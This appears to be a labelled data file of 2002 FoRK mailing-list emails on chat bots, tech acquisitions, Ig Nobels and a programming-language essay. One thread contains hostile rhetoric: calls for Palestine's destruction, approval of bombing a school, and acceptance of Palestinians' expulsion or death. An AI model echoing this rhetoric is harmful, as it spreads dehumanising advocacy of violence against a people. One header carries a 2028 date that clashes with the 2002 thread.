This is the only reason. Happiness happens when your consciousness is not dominated by addictions and demands~ and you experience life as a parade of preferences. The purpose of our lives is to be free of all addictive traps, and thus become one with the ocean of Living Love. sdw -- sdw@lig.net http://sdw.st Stephen D. Williams 43392 Wayside Cir,Ashburn,VA 20147-4622 703-724-0118W 703-995-0407Fax Dec2001",0,1 Lorin Rivers ,"""Mr. FoRK"" , FoRK List ","Thu, 03 Oct 2002 23:51:46 -0500",Re: ActiveBuddy,"On 10/2/02 12:00 PM, ""Mr. FoRK"" wrote: > What about a situation where you don't directly ask/talk to the bot, but > they listen in and advise/correct/interject/etc? > example: two people discussing trips, etc. may trigger a weather bot to > mention what the forecast says - without directly being asked. My guess is it's more insidious than that, it's going to be ActiveSpam. ""Oh, you're going to Seattle? I can get you airline tickets for less"" Yuck -- peregrine \PEH-ruh-grun or PEH-ruh-green\ (adjective) : having a tendency to wander",0,0 bitbitch@magnesium.net,Fork@xent.com,"Thu, 3 Oct 2002 23:23:19 -0400",Blatantly stolen from a friend's LJ,"Hello Fork, http://www.pimprig.com/sections.php?op=viewarticle&artid=72&page=2 This kid has -way- WAY too much time on his hands. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Fri, 04 Oct 2002 16:55:23 +0000","Economist: Internet models, viral spread, social diseases","Not exactly new bits, but I enjoyed seeing The Economist pick up on the similarity between computer and social networks: http://www.economist.com/science/displayStory.cfm?story_id=1365118 _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com",0,1 """Stephen D. Williams"" ",Lorin Rivers ,"Wed, 04 Oct 2028 12:05:01 -0400",Re: ActiveBuddy,"--------------080209060700030309080805 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit I actually thought of this kind of active chat at AOL (in 1996 I think), bringing up ads based on what was being discussed and other features. For a while, the VP of dev. (now still CTO I think) was really hot on the idea and they discussed patenting it. Then they lost interest. Probably a good thing. sdw Lorin Rivers wrote: >On 10/2/02 12:00 PM, ""Mr. FoRK"" wrote: > > >>What about a situation where you don't directly ask/talk to the bot, but >>they listen in and advise/correct/interject/etc? >>example: two people discussing trips, etc. may trigger a weather bot to >>mention what the forecast says - without directly being asked. >> >> > >My guess is it's more insidious than that, it's going to be ActiveSpam. > >""Oh, you're going to Seattle? I can get you airline tickets for less"" > >Yuck > > --------------080209060700030309080805 Content-Type: text/html; charset=US-ASCII Content-Transfer-Encoding: 7bit I actually thought of this kind of active chat at AOL (in 1996 I think), bringing up ads based on what was being discussed and other features.  For a while, the VP of dev. (now still CTO I think) was really hot on the idea and they discussed patenting it.  Then they lost interest.  Probably a good thing. sdw Lorin Rivers wrote: On 10/2/02 12:00 PM, ""Mr. FoRK"" wrote: What about a situation where you don't directly ask/talk to the bot, but they listen in and advise/correct/interject/etc? example: two people discussing trips, etc. may trigger a weather bot to mention what the forecast says - without directly being asked. My guess is it's more insidious than that, it's going to be ActiveSpam. ""Oh, you're going to Seattle? I can get you airline tickets for less"" Yuck --------------080209060700030309080805--",0,0 Carey ,fork@spamassassin.taint.org,"Sat, 5 Oct 2002 04:02:49 +1000",Headline - Navel gazing wins an Ig Nobel,"Greetings, Carey wants you to know about a story on www.theage.com.au Personal Message: Ah the Ig Nobels, always worth a read :) If only they had a cat-mood decipherer. ^__^ Navel gazing wins an Ig Nobel By Jay Lindsay Boston October 05 2002 URL: http://www.theage.com.au/articles/2002/10/04/1033538774048.html",0,1 Dave Long ,fork@spamassassin.taint.org,"Fri, 04 Oct 2002 11:28:11 -0700",Re: no matter where you go,"... nor what color your passport? More American exceptionalism: > ""The United States is the only country in the world to tax its citizens > on a worldwide basis, irrespective of whether they spend time in the > country or whether they have assets there,"" said Philip Marcovici, > a Zurich-based lawyer with international law firm Baker and Mackenzie. and perhaps even irrespective of their current citizenship: > Under current expatriation law, there are wealth thresholds based on > net worth which lead to a presumption that a person giving up U.S. > citizenship is doing so for tax reasons. > > Individuals who have given up their citizenship and who have earned > $100,000 in any one of the 10 years before expatriation, or who have a > net worth exceeding $500,000, would automatically be deemed a so-called > ""taxpatriate."" Those persons would be subject to ordinary income tax > on U.S. source income for 10 years. They would also be subject to > U.S. estate and gift tax during the 10-year period. I suppose it could be much worse; there could be some twee affinity program for US citizenship, and a bank of phone people who only get paid well if they manage to keep one from cancelling membership... -Dave ::::::: > Last month, Congress proposed a new exit tax on all citizens who give up > their U.S. status. If the proposal becomes law, individuals will be taxed > as if they had either sold everything or died. This would give rise to > immediate exposure to capital gains tax. To be fair, would this mean that they'd also immediately pay out the difference for anyone whose tax basis was greater than current estate value? ::::::: > ... Australian cities overall scored particularly highly in the > [Economist Intelligence Unit] survey [of desirability for expats], > with all five the country's urban centres surveyed ranked near the > top of the table. > > Europe was also well represented among the top 10 places. > > The top US city, Honolulu, ranked 21st, with Boston, at 28th, the > highest ranked city on the US mainland. Canada, in contrast, sneaked > three cities into the top ten. > > The UK cities of London, 44th, and Manchester, 50th, gained only a > mid-table rating, with Port Moresby in Papua New Guinea bottom of > the list.",0,1 """Mr. FoRK"" ",,"Fri, 4 Oct 2002 12:12:44 -0700","Documentum Acquires E-Room, Melding Content, Collaboration","Don't know much about eRoom - but there is the magic phrase 'collaborate in real-time'... Groove really has people running scared. Wonder if any users actually /benefit/ from collaborating in real-time. === http://www.internetwk.com/breakingNews/INW20021004S0001 Content-management vendor Documentum said late Thursday it plans to acquire privately held e-Room Technologies in a deal worth about $100 million. Documentum will issue approximately 7.7 million shares of its common stock and pay about $12.6 million in cash for all of the outstanding shares of eRoom. Documentum makes a platform for enterprise-wide content management. ERoom makes tools for enterprise collaboration. Its customers include Airbus, Bausch & Lomb, Ford Motor Co., and Sony. Documentum announced plans this summer to deliver a new Collaboration Edition of its content-management suite. ERoom was already integrating its tools to the Documentum platform, making an acquisition an easy target, according to Documentum president and CEO Dave DeWalt. With the upcoming joint product, customers will be able to collaborate in real-time via virtual workspaces, sharing schedules, resources, and even jointly creating content. Content creation and management has always been a collaborative task, but workflow has usually been delivered via a Web browser interface or even simple e-mail -- and rarely in real-time. For now, Documentum will sell the eRoom platform and its own content-management system through combined sales channels. Further integration is planned down the line, the companies said.",0,1 """David G.W. Birch"" ",", ,","Fri, 04 Oct 2002 20:22:59 +0100",[IRR] Re: The 3rd Annual Consult Hyperion Digital Identity Forum,"On 4/10/02 1:13 am, someone e-said: > The guy messed up his own URL. It should be > http://www.digitalidforum.com which redirects to > http://www.consult.hyperion.co.uk/digid3.html I didn't mess it up: I f*cked it up by not paying attention to a copy-and-paste from something else. Next time, I really will leave it to the PR guys. Best regards, Dave Birch. _______________________________________________ Irregulars mailing list Irregulars@tb.tf http://tb.tf/mailman/listinfo/irregulars",0,1 """Peter Kilby"" ",,"Fri, 4 Oct 2002 20:40:51 +0100","Re: Documentum Acquires E-Room, Melding Content, Collaboration","""Groove really has people running scared"" ....oh shit here comes that Groove thingy, run for your life ;-) ----- Original Message ----- From: ""Mr. FoRK"" To: Sent: Friday, October 04, 2002 8:12 PM Subject: Documentum Acquires E-Room, Melding Content, Collaboration > > Don't know much about eRoom - but there is the magic phrase 'collaborate in > real-time'... Groove really has people running scared. Wonder if any users > actually /benefit/ from collaborating in real-time. > > > === > http://www.internetwk.com/breakingNews/INW20021004S0001 > > Content-management vendor Documentum said late Thursday it plans to acquire > privately held e-Room Technologies in a deal worth about $100 million. > > Documentum will issue approximately 7.7 million shares of its common stock > and pay about $12.6 million in cash for all of the outstanding shares of > eRoom. > > Documentum makes a platform for enterprise-wide content management. ERoom > makes tools for enterprise collaboration. Its customers include Airbus, > Bausch & Lomb, Ford Motor Co., and Sony. > > Documentum announced plans this summer to deliver a new Collaboration > Edition of its content-management suite. ERoom was already integrating its > tools to the Documentum platform, making an acquisition an easy target, > according to Documentum president and CEO Dave DeWalt. > > With the upcoming joint product, customers will be able to collaborate in > real-time via virtual workspaces, sharing schedules, resources, and even > jointly creating content. > > Content creation and management has always been a collaborative task, but > workflow has usually been delivered via a Web browser interface or even > simple e-mail -- and rarely in real-time. > > For now, Documentum will sell the eRoom platform and its own > content-management system through combined sales channels. Further > integration is planned down the line, the companies said. > > >",0,1 """Stephen D. Williams"" ",fork@spamassassin.taint.org,"Fri, 04 Oct 2002 16:41:25 -0400",Whither vCard?,"Does anyone know what happened to vCard support in Netscape 7.0/Mozilla 1.1? (Not there yet in Mozilla and therefore not in the new mail engine I presume?) Netscape Messenger/Mozilla have LDAP LDIF import/export, but I can't find vCard or a reference to it anywhere. I like the Netscape/Mozilla email client. I avoid LookOut for at least two reasons: Windows Only (my main environment is Linux with 30% on Windows) and security issues. Now that LDAP, and the related DSML and DNS SRV record methods, are becoming more popular, is there a decline of vCard? Is there a standard emerging to deal with the mismatch in naming between the two? I've brushed with directories in the past, but I'm getting in deep along with more PKI oriented focus. Any wisdom would be appreciated. In particular, I'm going to start integrating smart cards into my linux and Win32 systems and integrating them with Netscape Messenger/Mozilla and Outlook. Thanks sdw",0,0 """Geege Schuman"" ","""Carey"" , ","Fri, 4 Oct 2002 21:54:13 -0400",RE: Headline - Navel gazing wins an Ig Nobel,"""British scientists were honoured for research that found ostriches became more amorous with each other when a human was around. In fact, ostriches eventually started putting the moves on humans."" this is true of manatees also. you don't want to know. -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Carey Sent: Friday, October 04, 2002 2:03 PM To: fork@spamassassin.taint.org Subject: Headline - Navel gazing wins an Ig Nobel Greetings, Carey wants you to know about a story on www.theage.com.au Personal Message: Ah the Ig Nobels, always worth a read :) If only they had a cat-mood decipherer. ^__^ Navel gazing wins an Ig Nobel By Jay Lindsay Boston October 05 2002 URL: http://www.theage.com.au/articles/2002/10/04/1033538774048.html",0,1 Owen Byrne ,Geege Schuman ,"Fri, 04 Oct 2002 23:06:55 -0300",Re: Headline - Navel gazing wins an Ig Nobel,"Geege Schuman wrote: >""British scientists were honoured for research that found ostriches became >more amorous with each other when a human was around. In fact, ostriches >eventually started putting the moves on humans."" > >this is true of manatees also. you don't want to know. > > > So how much of it is due to jumping the inter-species boundary for STATUS - i.e. I can fuck any of several reasonable candidates from my own species, or I can be ambitious, and go after the authority figure in the room. The alternative hypothesis is that its due to novelty, and then of course, there's the ""they'll fuck anything given appropriate conditions."" Hmmm, is this a potential intelligence test, seeing as the last is a particularily human response? Owen",0,0 Gregory Alan Bolcer ,fork@spamassassin.taint.org,"Fri, 04 Oct 2002 15:58:06 -0700","Re: Economist: Internet models, viral spread, social diseases","The structure of the Internet has never been about where the ditches and ruts are dug although the world needs ditch diggers too. It's a simple inductive concept: You are you and see the world as such, You plus 1 degree of separation is a new you. All this stuff about scale-free Internets, viruses, sex, and money is silly. Scale-free statistically indistinguishable models really means Internet-Scale as rediscovered by social networks people. > Research has shown that the network of human sexual partners > seems to be scale-free, too I tend to prefer the Harvard Business Review to the Economist as they tend to spend less time writing about who's sleeping with whom and come up with real statistical models. Greg Lies, Damn lies, and statistics. Russell Turpin wrote: > Not exactly new bits, but I enjoyed seeing The Economist > pick up on the similarity between computer and social > networks: > > http://www.economist.com/science/displayStory.cfm?story_id=1365118 > > > > > _________________________________________________________________ > Chat with friends online, try MSN Messenger: http://messenger.msn.com > > -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 gbolcer at endeavors.com | http://endeavors.com Endeavors Technology, Inc.| cell: +1.714.928.5476",0,1 Gregory Alan Bolcer ,,"Sat, 05 Oct 2002 06:56:07 -0700",Re: Apple Sauced...again,"Gary Lawrence Murphy wrote: > R. Buckminster Fuller > > ""It was only /after/ I'd completed the geodesic dome that I noticed it > was beautiful"" --- R. Buckminster Fuller I had cited the information theoretic concept of ""elegance"" in my dissertation & did a Google to find the reference and instead found a really great tech report for UoT Knoxville by Bruce MacLennan. He cites Efficiency, Economy, and Elegance, but I think he's wrong. The middle E should be Effectiveness. Otherwise kudos. Efficiency is the relation of output to input effectiveness is the total output. In information theory, something is both elegant and efficient if no smaller or less costly something can product the same output in the same amount of time. Greg [1] http://www.cs.utk.edu/~mclennan/anon-ftp/Elegance.html ``Who Cares About Elegance?'' The Role of Aesthetics in Programming Language Design Technical Report UT-CS-97-344 Bruce J. MacLennan Computer Science Department University of Tennessee, Knoxville MacLennan@cs.utk.edu Abstract The crucial role played by aesthetics in programming language design and the importance of elegance in programming languages are defended on the basis of analogies with structural engineering, as presented in Billington's The Tower and the Bridge. This report may be used for any nonprofit purpose provided that its source is acknowledged. It will be adapted for inclusion in the third edition of my Principles of Programming Languages. 1.The Value of Analogies 2.Efficiency Seeks to Minimize Resources Used 3.Economy Seeks to Maximize Benefit versus Cost 4.Elegance Symbolizes Good Design 1.For the Designer 2.For the User 5.The Programming Language as Work Environment 6.Acquiring a Sense of Elegance 7.References The Value of Analogies Programming language design is a comparatively new activity - it has existed for less than half a century, so it is often worthwhile to look to older design disciplines to understand better this new activity. Thus, my book Principles of Programming Languages: Design, Evaluation, and Implementation, grew out of a study of teaching methods in architecture, primarily, but also of pedagogy in other disciplines, such as aircraft design. Perhaps you have also seen analogies drawn between programming languages and cars (FORTRAN = Model T, C = dune buggy, etc.). These analogies can be very informative, and can serve as ``intuition pumps'' to enhance our creativity, but they cannot be used uncritically because they are, in the end, just analogies. Ultimately our design decisions must be based on more than analogies, since analogies can be misleading as well as informative. In this essay I'll address the role of aesthetics in programming language design, but I will base my remarks on a book about structural engineering, The Tower and the Bridge, by David P. Billington. Although there are many differences between bridges and programming languages, we will find that many ideas and insights transfer rather directly. According to Billington, there are three values common to many technological activities, which we can call ``the three E's'': Efficiency, Economy and Elegance. These values correspond to three dimensions of technology, which Billington calls the scientific, social and symbolic dimensions (the three S's). We will consider each in turn. Efficiency Seeks to Minimize Resources Used In structural engineering, efficiency deals with the amount of material used; the basic criterion is safety and the issues are scientific (strength of materials, disposition of forces, etc.). Similarly, in programming language design, efficiency is a scientific question dealing with the use of resources. There are many examples where efficiency considerations influenced programming language design (some are reviewed in my Principles of Programming Languages). In the early days, the resources to be minimized were often runtime memory usage and processing time, although compile-time resource utilization was also relevant. In other cases the resource economized was programmer typing time, and there are well-known cases in which this compromised safety (e.g. FORTRAN's implicit declarations). There are also many well-known cases in which security (i.e. safety) was sacrificed for the sake of efficiency by neglecting runtime error checking (e.g. array bounds checking). Efficiency issues often can be quantified in terms of computer memory or time, but we must be careful that we are not comparing apples and oranges. Compile time is not interchangeable run time, and neither one is the same as programmer time. Similarly, computer memory cannot be traded off against computer time unless both are reduced to a common denominator, such as money, but this brings in economic considerations, to which we now turn. Economy Seeks to Maximize Benefit versus Cost Whereas efficiency is a scientific issue, economy is a social issue. In structural engineering, economy seeks to maximize social benefit compared to its cost. (This is especially appropriate since structures like bridges are usually built at public expense for the benefit of the public.) In programming language design, the ``public'' that must be satisfied is the programming community that will use the language and the institutions for which these programmers work. Economic tradeoffs are hard to make because economic values change and are difficult to predict. For example, the shift from first to second generation programming languages was largely a result of a decrease in the cost of computer time compared to programmer time, the shift from the second to the third generation involved the increasing cost of residual bugs in programs, and the fourth generation reflected the increasing cost of program maintenance compared to program development. Other social factors involved in the success or failure of a programming language include: whether major manufacturers support the language, whether prestigious universities teach it, whether it is approved in some way by influential organizations (such as the US Department of Defense), whether it has been standardized, whether it comes to be perceived as a ``real'' language (used by ``real programmers'') or as a ``toy'' language (used by novices or dilettantes), and so forth. As can be seen from the historical remarks in my Principles, social factors are frequently more important than scientific factors in determining the success or failure of a programming language. Often economic issues can be quantified in terms of money, but the monetary values of costs and benefits are often unstable and unpredictable because they depend on changing market forces. Also, many social issues, from dissatisfaction with poorly designed software to human misery resulting from system failures, are inaccurately represented by the single dimension of monetary cost. All kinds of ``cost'' and ``benefit'' must be considered in seeking an economical design. Elegance Symbolizes Good Design ``Elegance? Who cares about elegance?'' snorts the hard-nosed engineer, but Billington shows clearly the critical role of elegance in ``hard-nosed'' engineering. For the Designer It is well-known that feature interaction poses a serious problem for language designers because of the difficulty of analyzing all the possible interactions of features in a language (see my Principles for examples). Structural engineers face similar problems of analytic complexity, but Billington observes that the best designers don't make extensive use of computer models and calculation. One reason is that mathematical analysis is always incomplete. The engineer must make a decision about which variables are significant and which are not, and an analysis may lead to incorrect conclusions if this decision is not made well. Also, equations are often simplified (e.g., made linear) to make their analysis feasible, and this is another potential source of error. Because of these limitations, engineers that depend on mathematical analysis may overdesign a structure to compensate for unforeseen effects left out of the analysis. Thus the price of safety is additional material and increased cost (i.e. decreased efficiency and economy). Similarly in programming language design, the limitations of the analytic approach often force us to make a choice between an under-engineered design, in which we run the risk of unanticipated interactions, and an over-engineered design, in which we have confidence, but which is inefficient or uneconomical. Many people have seen the famous film of the collapse in 1940 of the four-month-old Tacoma Narrows bridge; it vibrated itself to pieces in a storm because aerodynamical stability had not been considered in its design. Billington explains that this accident, along with a number of less dramatic bridge failures, was a consequence of an increasing use of theoretical analyses that began in the 1920s. However, the very problem that destroyed the Tacoma Narrows bridge had been anticipated and avoided a century before by bridge designers who were guided by aesthetic principles. According to Billington, the best structural engineers do not rely on mathematical analysis (although they do not abandon it altogether). Rather, their design activity is guided by a sense of elegance. This is because solutions to structural engineering problems are usually greatly underdetermined, that is, there are many possible solutions to a particular problem, such as bridging a particular river. Therefore, expert designers restrict their attention to designs in which the interaction of the forces is easy to see. The design looks unbalanced if the forces are unbalanced, and the design looks stable if it is stable. The general principle is that designs that look good will also be good, and therefore the design process can be guided by aesthetics without extensive (but incomplete) mathematical analysis. Billington expresses this idea by inverting the old architectural maxim and asserting that, in structural design, function follows form. He adds (p. 21), ``When the form is well chosen, its analysis becomes astoundingly simple.'' In other words, the choice of form is open and free, so we should pick forms where elegant design expresses good design (i.e. efficient and economical design). If we do so, then we can let aesthetics guide design. The same applies to programming language design. By restricting our attention to designs in which the interaction of features is manifest - in which good interactions look good, and bad interactions look bad - we can let our aesthetic sense guide our design and we can be much more confident that we have a good design, without having to check all the possible interactions. For the User In this case, what's good for the designer also is good for the user. Nobody is comfortable crossing a bridge that looks like it will collapse at any moment, and nobody is comfortable using a programming language in which features may ``explode'' if combined in the wrong way. The manifest balance of forces in a well-designed bridge gives us confidence when we cross it. So also, the manifestly good design of our programming language should reinforce our confidence when we program in it, because we have (well-justified) confidence in the consequences of our actions. We accomplish little by covering an unbalanced structure in a beautiful facade. When the bridge is unable to sustain the load for which it was designed, and collapses, it won't much matter that it was beautiful on the outside. So also in programming languages. If the elegance is only superficial, that is, if it is not the manifestation of a deep coherence in the design, then programmers will quickly see through the illusion and loose their (unwarranted) confidence. In summary, good designers choose to work in a region of the design space where good designs look good. As a consequence, these designers can rely on their aesthetic sense, as can the users of the structures (bridges or programming languages) they design. We may miss out on some good designs this way, but they are of limited value unless both the designer and the user can be confident that they are good designs. We may summarize the preceding discussion in a maxim analogous to those in my Principles of Programming Languages: The Elegance Principle Confine your attention to designs that look good because they are good. The Programming Language as Work Environment There are other reasons that elegance is relevant to a well-engineered programming language. The programming language is something the professional programmer will live with - even live in. It should feel comfortable and safe, like a well-designed home or office; in this way it can contribute to the quality of the activities that take place within it. Would you work better in an oriental garden or a sweatshop? A programming language should be a joy to use. This will encourage its use and decrease the programmer's fatigue and frustration. The programming language should not be a hindrance, but should serve more as a collaborator, encouraging programmers to do their jobs better. As some automobiles are ``driving machines'' and work as a natural extension of the driver, so a programming language should be a ``programming machine'' by encouraging the programmer to acquire the smooth competence and seemingly effortless skill of a virtuoso. The programming language should invite the programmer to design elegant, efficient and economical programs. Through its aesthetic dimension a programming language symbolizes many values. For example, in the variety of its features it may symbolize profligate excess, sparing economy or asceticism; the kind of its features may represent intellectual sophistication, down-to-earth practicality or ignorant crudeness. Thus a programming language can promote a set of values. By embodying certain values, it encourages us to think about them; by neglecting or negating other values, it allows them to recede into the background and out of our attention. Out of sight, out of mind. Acquiring a Sense of Elegance Aesthetics is notoriously difficult to teach, so you may wonder how you are supposed to acquire that refined sense of elegance necessary to good design. Billington observes that this sense is acquired through extensive experience in design, which, especially in Europe, is encouraged by a competitive process for choosing bridge designers. Because of it, structural engineers design many more bridges than they build, and they learn from each competition they loose by comparing their own designs with those of the winner and other losers. The public also critiques the competing designs, and in this way becomes more educated; their sense of elegance develops along with that of the designers. So also, to improve as a programming language designer you should design many languages - design obsessively - and criticize, revise and discard your designs. You should also evaluate and criticize other people's designs and try to improve them. In this way you will acquire the body of experience you will need when the ``real thing'' comes along. References 1.Billington, David P., The Tower and the Bridge: The New Art of Structural Engineering, Princeton: Princeton University Press, 1983. Chapters 1 and 6 are the most relevant. 2.MacLennan, Bruce J., Principles of Programming Languages: Design, Evaluation, and Implementation, second edition, New York: Holt, Rinehart & Winston (now Oxford University Press), 1987.",0,1 """John Hall"" ","""FoRK"" ","Sat, 5 Oct 2002 20:56:01 -0700","Our friends the Palestinians, Our servants in government.","Hijacker High (8/30) Dalal Mughrabi was a Palestinian woman who participated in a 1978 bus hijacking in which 36 Israelis and an American nature photographer, Gail Ruban, were killed. Mughrabi has a Palestinian high school named after her, and it's apparently starting to show signs of wear. Fortunately, the United States Agency for International Development has stepped in with money to help renovate it. http://reason.com/brickbats/bb-april.shtml Links to: http://www.cnsnews.com/ViewForeignBureaus.asp?Page=\ForeignBureaus\archi ve\200208\FOR20020807e.html Praeterea censeo Palestininem esse delendam.",0,1 """Geege Schuman"" ",", ""FoRK"" ","Sun, 6 Oct 2002 00:34:38 -0400","RE: Our friends the Palestinians, Our servants in government.","she read the links. what must it be like, she wondered, to devote ones life to pointing out neighbors' mistakes, mishaps, inconsistencies and frailties? gloating is definitely underrated in the good book - eh, john? bring it on, gg -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John Hall Sent: Saturday, October 05, 2002 11:56 PM To: FoRK Subject: Our friends the Palestinians, Our servants in government. Hijacker High (8/30) Dalal Mughrabi was a Palestinian woman who participated in a 1978 bus hijacking in which 36 Israelis and an American nature photographer, Gail Ruban, were killed. Mughrabi has a Palestinian high school named after her, and it's apparently starting to show signs of wear. Fortunately, the United States Agency for International Development has stepped in with money to help renovate it. http://reason.com/brickbats/bb-april.shtml Links to: http://www.cnsnews.com/ViewForeignBureaus.asp?Page=\ForeignBureaus\archi ve\200208\FOR20020807e.html Praeterea censeo Palestininem esse delendam.",0,1 Ian Andrew Bell ,"""'FoRK'"" ","Sun, 6 Oct 2002 00:25:36 -0700","Re: Our friends the Palestinians, Our servants in government.","I propose they rename it ""Charlie Heston High"" and maybe the students will learn to take AR-15s with extended military-spec scopes and .223 high-velocity ammo and start plinking innocent civilians at random in the suburbs of Washington. That's far more effectual than blowing oneself up in a bus. In America these days, it seems that violence ascribed to any political doctrine foreign to Bushism is vile and repugnant. But random violence is entertainment and intrigue. A couple of ex-FBI ""consultants"" speaking on the shootings in DC were quoted as saying the shooters, presumed to be a pair, were getting a ""heroin-like high"" from each successful kill and that they ""for whatever reason decided to level the playing field, thumbing their nose at law enforcement and society."" See? Just a couple of kids having fun with Daddy's semi-automatic hunting rifle. Harmless! -Ian. On Saturday, October 5, 2002, at 11:01 PM, John Hall wrote: > > It wasn't gloating, it was one for the horror file. > > And of course for the Palestinians it wasn't a mistake, which is a key > part of the horror. > > I'm not against American taxpayers remodeling a school honoring a > killer > if we do it with a daisy cutter. > > > >> -----Original Message----- >> From: Geege Schuman [mailto:geege@barrera.org] >> Sent: Saturday, October 05, 2002 9:35 PM >> To: johnhall@evergo.net; FoRK >> Subject: RE: Our friends the Palestinians, Our servants in government. >> >> she read the links. what must it be like, she wondered, to devote ones >> life >> to pointing out neighbors' mistakes, mishaps, inconsistencies and >> frailties? >> >> gloating is definitely underrated in the good book - eh, john? >> >> bring it on, >> gg >> >> -----Original Message----- >> From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of > John >> Hall >> Sent: Saturday, October 05, 2002 11:56 PM >> To: FoRK >> Subject: Our friends the Palestinians, Our servants in government. >> >> >> >> >> Hijacker High (8/30) >> Dalal Mughrabi was a Palestinian woman who participated in a 1978 bus >> hijacking in which 36 Israelis and an American nature photographer, > Gail >> Ruban, were killed. Mughrabi has a Palestinian high school named after >> her, and it's apparently starting to show signs of wear. Fortunately, >> the United States Agency for International Development has stepped in >> with money to help renovate it. >> >> http://reason.com/brickbats/bb-april.shtml >> >> Links to: >> >> > http://www.cnsnews.com/ > ViewForeignBureaus.asp?Page=\ForeignBureaus\archi >> ve\200208\FOR20020807e.html >> >> Praeterea censeo Palestininem esse delendam. >> >> >> >> >> >",0,1 """John Hall"" ","""'Geege Schuman'"" , ""'FoRK'"" ","Sat, 5 Oct 2002 23:01:25 -0700","RE: Our friends the Palestinians, Our servants in government.","It wasn't gloating, it was one for the horror file. And of course for the Palestinians it wasn't a mistake, which is a key part of the horror. I'm not against American taxpayers remodeling a school honoring a killer if we do it with a daisy cutter. > -----Original Message----- > From: Geege Schuman [mailto:geege@barrera.org] > Sent: Saturday, October 05, 2002 9:35 PM > To: johnhall@evergo.net; FoRK > Subject: RE: Our friends the Palestinians, Our servants in government. > > she read the links. what must it be like, she wondered, to devote ones > life > to pointing out neighbors' mistakes, mishaps, inconsistencies and > frailties? > > gloating is definitely underrated in the good book - eh, john? > > bring it on, > gg > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John > Hall > Sent: Saturday, October 05, 2002 11:56 PM > To: FoRK > Subject: Our friends the Palestinians, Our servants in government. > > > > > Hijacker High (8/30) > Dalal Mughrabi was a Palestinian woman who participated in a 1978 bus > hijacking in which 36 Israelis and an American nature photographer, Gail > Ruban, were killed. Mughrabi has a Palestinian high school named after > her, and it's apparently starting to show signs of wear. Fortunately, > the United States Agency for International Development has stepped in > with money to help renovate it. > > http://reason.com/brickbats/bb-april.shtml > > Links to: > > http://www.cnsnews.com/ViewForeignBureaus.asp?Page=\ForeignBureaus\archi > ve\200208\FOR20020807e.html > > Praeterea censeo Palestininem esse delendam. > > > > >",0,1 """Mr. FoRK"" ","""'FoRK'"" ","Sun, 6 Oct 2002 10:02:04 -0700","Re: Our friends the Palestinians, Our servants in government.","----- Original Message ----- From: ""John Hall"" > > I'm not against American taxpayers remodeling a school honoring a killer > if we do it with a daisy cutter. With or without occupants?",0,0 Owen Byrne ,johnhall@evergo.net,"Sun, 06 Oct 2002 10:20:37 -0300","Re: Our friends the Palestinians, Our servants in government.","John Hall wrote: >It wasn't gloating, it was one for the horror file. > >And of course for the Palestinians it wasn't a mistake, which is a key >part of the horror. > >I'm not against American taxpayers remodeling a school honoring a killer >if we do it with a daisy cutter. > > > > I'm sure the plan is that it will be renamed for the settler who kills the last Palestinian in a few years. Owen",0,0 """Geege Schuman"" ","""Owen Byrne"" , ","Sun, 6 Oct 2002 15:24:16 -0400","RE: Our friends the Palestinians, Our servants in government.","see my first line: I READ THE LINKS. brickbats. idiot. -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Owen Byrne Sent: Sunday, October 06, 2002 9:21 AM To: johnhall@evergo.net Cc: 'Geege Schuman'; 'FoRK' Subject: Re: Our friends the Palestinians, Our servants in government. John Hall wrote: >It wasn't gloating, it was one for the horror file. > >And of course for the Palestinians it wasn't a mistake, which is a key >part of the horror. > >I'm not against American taxpayers remodeling a school honoring a killer >if we do it with a daisy cutter. > > > > I'm sure the plan is that it will be renamed for the settler who kills the last Palestinian in a few years. Owen",0,0 """John Hall"" ","""'FoRK'"" ","Sun, 6 Oct 2002 12:22:42 -0700","RE: Our friends the Palestinians, Our servants in government.","When a settler goes postal and kills some Palestinians they are treated as a criminal, not celebrated in word and song. But you knew that. When a Palestinian sets out, to great rejoicing, to attempt to target children with a homicide-bomb, they are careful to dip the shrapnel in rat poison. It helps prevent blood clotting in the victims, you see. I'm sure all those Jewish homicide-bombers do the same. Oh wait, there aren't any. If the Palestinians are driven completely out, either by expulsion or death, they will have nobody to blame but themselves. That won't stop them or you from pretending otherwise. > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Owen > Byrne > I'm sure the plan is that it will be renamed for the settler who kills > the last Palestinian in a few years. > > Owen >",0,0 """Geege Schuman"" ",,"Sun, 6 Oct 2002 17:29:35 -0400","RE: Our friends the Palestinians, Our servants in government.","when brickbats or fox exposes the folly of government they do so to accomplish a specific end; dumping truckload after truckload of bad acts proves their point: stupidity and greed typify government, therefore any government is too much government. -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John Hall Sent: Sunday, October 06, 2002 5:03 PM Cc: 'FoRK' Subject: RE: Our friends the Palestinians, Our servants in government. Yes, you read the links. Sorry, but exposing folly is not only humorous but also instructive. It is only by exposing folly to ridicule that you stop it in the first place. 'Brickbats' leans heavily on both, though the item I highlighted was a 'horror' item not a 'gee that is stupid' item. For an example of the latter, see the city that wanted a woman to pay a ticket for parking in an UNmarked no-parking space. > From: Geege Schuman [mailto:geege@barrera.org] > > see my first line: I READ THE LINKS. brickbats. idiot.",0,0 """John Hall"" ",,"Sun, 6 Oct 2002 14:02:45 -0700","RE: Our friends the Palestinians, Our servants in government.","Yes, you read the links. Sorry, but exposing folly is not only humorous but also instructive. It is only by exposing folly to ridicule that you stop it in the first place. 'Brickbats' leans heavily on both, though the item I highlighted was a 'horror' item not a 'gee that is stupid' item. For an example of the latter, see the city that wanted a woman to pay a ticket for parking in an UNmarked no-parking space. > From: Geege Schuman [mailto:geege@barrera.org] > > see my first line: I READ THE LINKS. brickbats. idiot.",0,0 Elias Sinderson ,fork@spamassassin.taint.org,"Mon, 07 Oct 2002 12:19:39 -0700",Re: The absurdities of life.,"I call PacBell/SBC every two or three months about a recurring problem we have at my house: We get a phone bill every month for someone who no longer lives at our house for a phone line which has been disconnected for over three years and the account balance is 